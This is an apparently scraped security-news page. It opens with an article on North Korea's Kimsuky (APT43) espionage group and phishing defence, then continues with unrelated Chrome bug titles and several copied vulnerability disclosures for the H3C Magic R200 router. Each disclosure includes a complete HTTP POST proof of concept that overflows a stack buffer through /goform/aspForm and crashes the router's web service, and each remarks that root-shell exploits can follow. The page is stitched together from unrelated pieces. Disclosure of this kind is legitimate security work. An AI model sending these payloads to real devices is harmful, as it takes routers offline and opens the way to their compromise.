Kim Jong Un's Swiss Army knife APT continues to spread its tendrils around the world, showing it's not intimidated by the researchers closing in.

Globally, interest has surged around North Korea's Kimsuky advanced persistent threat group (a.k.a. APT43) and its hallmarks. Still, the group is showing no signs of slowing down despite the scrutiny.

Kimsuky is a government-aligned threat actor whose main aim is espionage, often (but not exclusively) in the fields of policy and nuclear weapons research. Its targets have spanned the government, energy, pharmaceutical, and financial sectors, and more beyond that, mostly in countries that the DPRK considers arch-enemies: South Korea, Japan, and the United States.

Kimsuky is by no means a new outfit — CISA has traced the group's activity all the way back to 2012. Interest peaked last month thanks to a report from cybersecurity firm Mandiant, and a Chrome extension-based campaign that led to a joint warning from German and Korean authorities. In a blog published April 20, VirusTotal highlighted a spike in malware lookups associated with Kimsuky, as demonstrated in the graph below.

    

Volume of lookups for Kimsuky malware samples. Source: Virus Total

Many an APT has crumbled under increased scrutiny from researchers and law enforcement. But signs show Kimsuky is unfazed.

"Usually when we publish insights they'll go 'Oh, wow, we're exposed. Time to go underground,'" says Michael Barnhart, principal analyst at Mandiant, of typical APTs.

In Kimsuky's case, however, "no one cares at all. We've seen zero slowdown with this thing."

**What's Going on With Kimsuky?**

Kimsuky has gone through many iterations and evolutions, including an outright split into two subgroups. Its members are most practiced at spear phishing, impersonating members of targeted organizations in phishing emails — often for weeks at a time — in order to get closer to the sensitive information they're after.

The malware they've deployed over the years, however, is far less predictable. They've demonstrated equal capability with malicious browser extensions, remote access Trojans, modular spyware, and more, some of it commercial and some not.

In the blog post, VirusTotal highlighted the APT's propensity for delivering malware via .docx macros. In a few cases, though, the group utilized CVE-2017-0199, a 7.8 high severity-rated arbitrary code execution vulnerability in Windows and Microsoft Office.

With the recent uptick in interest around Kimsuky, VirusTotal has revealed that most uploaded samples are coming from South Korea and the United States. This tracks with the group's history and motives. However, it also has its tendrils in countries one might not immediately associate with North Korean politics, like Italy and Israel.

For example, when it comes to lookups — individuals taking an interest in the samples — the second most volume comes from Turkey. "This may suggest that Turkey is either a victim or a conduit of North Korean cyber attacks," according to the blog post.

    

Kimsuky malware sample lookups by country. Source: VirusTotal

**How to Defend Against Kimsuky**

Because Kimsuky targets organizations across countries and sectors, the range of organizations who need to worry about them is greater than most nation-state APTs.

"So what we've been preaching everywhere," Barnhart says, "is strength in numbers. With all these organizations around the world, it's important that we all talk to each other. It's important that we collaborate. No one should be operating in a silo."

And, he emphasizes, because Kimsuky uses individuals as conduits for greater attacks, everybody has to be on the lookout. "It's important that we all have this baseline of: don't click on links, and use your multi-factor authentication."

With simple safeguards against spear phishing, even North Korean hackers can be thwarted. "From what we're seeing, it does work if you actually take the time to follow your cyber hygiene," Barnhart notes.

North Korea's Kimsuky APT Keeps Growing, Despite Public Outing

Chrome has an issue where there is an out-of-bounds string copy that can occur when parsing a uniform sampler name in SpvGetMappedSamplerName.

Chrome SpvGetMappedSamplerName Out-Of-Bounds String Copy

Chrome has an issue where the GL_ShaderBinary is exposed to untrusted processes.

Chrome GL_ShaderBinary Untrusted Process Exposure

Chrome suffers from an issue where the traits for media::mojom::VideoFrame do not perform any validation on the stride and offset parameters when deserializing untrusted message data.

Chrome media::mojom::VideoFrame Missing Validation

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the Edit_BasicSSID interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the Edit\_BasicSSID interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the Edit\_BasicSSID interface at /goform/aspForm. ## Vulnerability Details In function Edit\_BasicSSID, string Var is passed in by parameter 'param' without filtered and checking its length. Local varible v45 is 64 bytes long. in line 57, the content of Var is formatted into v45 without size check by sscanf function in the form of \`%\[^;\]\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/2LBQDtp.png) !\[\](https://i.imgur.com/o2fBFuD.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 536 CMD=Edit\_BasicSSID&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/ZGgxQ90.png) We can see process webs is crashed and restarted. !\[\](https://i.imgur.com/Ap2kSe4.png) And you can write your own exp to get the root shell.

CVE-2023-29906: H3C Magic R200 was discovered stack overflow via the Edit_BasicSSID interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the UpdateSnat interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm. ## Vulnerability Details In function UpdateSnat, string Var is passed in by parameter 'param' without filtered and checking its length. Local varible v14 is 64 bytes long. When the length of Var is less than 512 and larger than 64, in line 24, the content of Var is formatted into v14 by sscanf function in the form of \`%s\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/QVP8iPa.png) !\[\](https://i.imgur.com/jokv0qU.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 534 CMD=UpdateSnat&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/D5hCz0Z.png) And you can write your own exp to get the root shell.

CVE-2023-29905: H3C Magic R200 was discovered stack overflow via the UpdateSnat interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateMacClone interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the UpdateMacClone interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the UpdateMacClone interface at /goform/aspForm. ## Vulnerability Details In function UpdateMacClone, string Var is passed in by parameter 'param' without filtered and checking its length. Local varible v15 is 64 bytes long. When the length of Var is less than 512 and larger than 64, in line 25, the content of Var is formatted into v15 by sscanf function in the form of \`%s\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/xgbkTHn.png) !\[\](https://i.imgur.com/JE4Nozu.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Content-Length: 524 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: \*/\* Origin: http://192.168.124.1 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG=; cur\_page=maintain\_logs.asp?refreshFlag=Tue%20Mar%2014%202023%2016:05:37%20GMT+0800%20(%D0%C2%BC%D3%C6%C2%B1%EA%D7%BC%CA%B1%BC%E4) Connection: close CMD=UpdateMacClone&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/mbrGAKz.png) And you can write your own exp to get the root shell.

CVE-2023-29910: H3C Magic R200 was discovered stack overflow via the UpdateMacClone interface at /goform/aspForm - HackMD

H3C Magic R200 R200V100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the DelvsList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 R200V100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm. ## Vulnerability Details In function DelvsList,the size of local variable v6 is noly 16 bytes long.Parameters in the DelvsList interface use the getElement function to split strings(Var) and get items. !\[\](https://i.imgur.com/o43EsQb.png) !\[\](https://i.imgur.com/vv700yC.png) In line 28, the maximum size in the getElement function is limited to 64. When the length of input less than 64, the string will be copied into a1 by memcpy function. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/5jTOUfB.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Content-Length: 321 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.124.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/dhcpd.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close CMD=DelvsList&GO=dhcpd.asp&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/wZ8HSuT.png) And you can write your own exp to get the root shell.

CVE-2023-29912: H3C Magic R200 was discovered stack overflow via the DelvsList interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the DeltriggerList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm. ## Vulnerability Details In function DeltriggerList,the size of local variable v7 is noly 16 bytes long.Parameters in the DeltriggerList interface use the getElement function to split strings(Var) and get items. !\[\](https://i.imgur.com/IJshUFq.png) !\[\](https://i.imgur.com/EJxYVPo.png) In line 28, the maximum size in the getElement function is limited to 64. When the length of input less than 64, the string will be copied into a1 by memcpy function. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/5jTOUfB.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PSWMOBILEFLAG=true; USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 282 CMD=DeltriggerList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/71a3vWX.png) And you can write your own exp to get the root shell.

CVE-2023-29914: H3C Magic R200 was discovered stack overflow via the DeltriggerList interface at /goform/aspForm - HackMD

H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the Edit_BasicSSID_5G interface at /goform/aspForm.

\# H3C Magic R200 was discovered stack overflow via the Edit\_BasicSSID\_5G interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R200\` vendor:H3C product:Magic R200 version:R200V100R004 type:Stack Overflow author:Wolin Zhuang, Yifeng Li; ## Vulnerability Description H3C Magic R200 version R200V100R004 was discovered to contain a stack overflow via the Edit\_BasicSSID\_5G interface at /goform/aspForm. ## Vulnerability Details In function Edit\_BasicSSID\_5G, string Var is passed in by parameter 'param' without filtered and checking its length. Local varible v44 is 64 bytes long. in line 53, the content of Var is formatted into v44 without size check by sscanf function in the form of \`%\[^;\]\`, which leads to a stack overflow vulnerbility. !\[\](https://i.imgur.com/m4O5A1I.png) !\[\](https://i.imgur.com/wCkUR3J.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R200 to newest version(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/Gh5mBRc.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 541 CMD=Edit\_BasicSSID\_5G&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to denial of service. !\[\](https://i.imgur.com/P2cIzcj.png) We can see process webs is crashed and restarted. !\[\](https://i.imgur.com/Ap2kSe4.png) And you can write your own exp to get the root shell.

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#chrome